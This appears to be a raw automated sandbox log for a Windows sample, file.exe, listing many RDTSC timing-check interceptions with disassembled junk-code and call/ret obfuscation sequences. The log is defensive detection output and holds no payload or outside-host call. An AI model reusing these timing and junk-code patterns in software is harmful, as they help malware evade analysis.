Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8890A4 second address: 8890A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B1AD second address: 88B1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895EC2 second address: 895EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8955F3 second address: 8955F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8955F9 second address: 8955FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8958D4 second address: 895912 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA67D08029Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FA67D0802A0h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a jmp 00007FA67D08029Ah 0x0000001f pushad 0x00000020 popad 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edi 0x00000024 pop edi 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895912 second address: 895933 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FA67C81A878h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B2A7 second address: 89B2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007FA67D0802A6h 0x0000000e mov eax, dword ptr [eax] 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B2CD second address: 89B2F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jmp 00007FA67C81A879h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0052 second address: 8A0080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA67D080296h 0x0000000a pop edx 0x0000000b jmp 00007FA67D0802A4h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FA67D08029Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE16 second address: 89EE20 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE20 second address: 89EE3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE3D second address: 89EE66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA67C81A86Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE66 second address: 89EE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE6C second address: 89EE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EE72 second address: 89EE80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FA67D08029Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F90A second address: 89F917 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F917 second address: 89F956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D0802A1h 0x00000009 popad 0x0000000a jp 00007FA67D08029Eh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 ja 00007FA67D080296h 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA67D08029Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F956 second address: 89F965 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pushad 0x00000007 jp 00007FA67C81A866h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FAB5 second address: 89FAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007FA67D08029Dh 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FA67D080298h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC69 second address: 89FC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC6F second address: 89FC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A371A second address: 8A371E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A371E second address: 8A372A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA67D080296h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A372A second address: 8A372E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A372E second address: 8A373F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FA67D080296h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A01B second address: 86A021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A3B8 second address: 6BEBBB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA67D080298h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jg 00007FA67D080299h 0x00000013 mov dx, si 0x00000016 push dword ptr [ebp+122D01FDh] 0x0000001c xor dword ptr [ebp+122D21AFh], eax 0x00000022 call dword ptr [ebp+122D36FCh] 0x00000028 pushad 0x00000029 add dword ptr [ebp+122D2181h], esi 0x0000002f xor eax, eax 0x00000031 jmp 00007FA67D08029Fh 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a mov dword ptr [ebp+122D2181h], eax 0x00000040 mov dword ptr [ebp+122D3AC0h], eax 0x00000046 jno 00007FA67D0802A3h 0x0000004c sub dword ptr [ebp+122D255Fh], ecx 0x00000052 mov esi, 0000003Ch 0x00000057 stc 0x00000058 mov dword ptr [ebp+122D255Fh], edi 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 mov dword ptr [ebp+122D2181h], ecx 0x00000068 lodsw 0x0000006a pushad 0x0000006b sub ax, BFBAh 0x00000070 sbb edx, 54EC89E5h 0x00000076 popad 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b jmp 00007FA67D08029Ah 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jnc 00007FA67D0802AEh 0x0000008a push eax 0x0000008b pushad 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A6D1 second address: 86A6E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A872h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A6E7 second address: 86A6EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ABF0 second address: 86AC39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, ebx 0x0000000f mov ecx, dword ptr [ebp+122D2A5Fh] 0x00000015 push 0000001Eh 0x00000017 mov dword ptr [ebp+122D221Eh], ebx 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007FA67C81A879h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADBB second address: 86ADBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B044 second address: 86B048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3DF0 second address: 8A3DF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4099 second address: 8A40D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FA67C81A86Eh 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA67C81A86Bh 0x00000017 jmp 00007FA67C81A877h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A40D6 second address: 8A40E6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FA67D080296h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA1FD second address: 8AA21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FA67C81A866h 0x0000000f jmp 00007FA67C81A86Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8FAA second address: 8A8FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA67D0802A8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8FC9 second address: 8A8FDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA67C81A86Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A957C second address: 8A9587 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FA67D080296h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9587 second address: 8A958F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A958F second address: 8A9597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9964 second address: 8A996E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA67C81A866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C23 second address: 8A9C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a jc 00007FA67D080298h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007FA67D080296h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA04D second address: 8AA057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA057 second address: 8AA05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0ADB second address: 8B0AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA67C81A866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0AE5 second address: 8B0B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA67D0802A9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0B03 second address: 8B0B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0B0C second address: 8B0B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D0802A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0B29 second address: 8B0B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007FA67C81A871h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF706 second address: 8AF70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF83A second address: 8AF849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67C81A86Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B00AD second address: 8B00CF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67D08029Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jnc 00007FA67D080296h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA67D08029Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B00CF second address: 8B00EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA67C81A873h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0270 second address: 8B0278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0431 second address: 8B0435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0435 second address: 8B043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B043F second address: 8B048F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA67C81A876h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA67C81A86Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA67C81A874h 0x00000018 jmp 00007FA67C81A873h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA793 second address: 8BA7DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FA67D080296h 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007FA67D080296h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b pushad 0x0000001c jmp 00007FA67D0802A0h 0x00000021 jg 00007FA67D080296h 0x00000027 jmp 00007FA67D08029Fh 0x0000002c popad 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA0AA second address: 8BA0C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c js 00007FA67C81A866h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA209 second address: 8BA20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA20D second address: 8BA216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA369 second address: 8BA37A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA67D08029Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4DF second address: 8BA4F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FA67C81A866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FA67C81A866h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4F5 second address: 8BA4F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4F9 second address: 8BA4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2961 second address: 8C2965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2965 second address: 8C296B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C296B second address: 8C2971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D2C second address: 8C2D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jo 00007FA67C81A866h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FA67C81A877h 0x00000016 jnp 00007FA67C81A866h 0x0000001c jmp 00007FA67C81A870h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D6F second address: 8C2D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA67D08029Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D82 second address: 8C2D88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2EFD second address: 8C2F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA67D080296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2F07 second address: 8C2F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2F12 second address: 8C2F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FA67D0802A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA67D08029Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA0B second address: 86AA84 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA67C81A86Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d js 00007FA67C81A866h 0x00000013 mov ebx, dword ptr [ebp+1247ECADh] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FA67C81A868h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dword ptr [ebp+12453688h], eax 0x00000039 add eax, ebx 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FA67C81A868h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 0000001Ch 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D280Dh], edx 0x0000005b or ch, FFFFFF86h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA84 second address: 86AA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA88 second address: 86AA92 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA92 second address: 86AAD1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA67D080298h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f cmc 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FA67D080298h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D29C3h], esi 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAD1 second address: 86AAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAD6 second address: 86AB01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67D0802A7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3208 second address: 8C321D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA67C81A86Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B5D second address: 8C6B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA67D080296h 0x0000000a jnc 00007FA67D080296h 0x00000010 popad 0x00000011 jmp 00007FA67D0802A0h 0x00000016 rdtsc
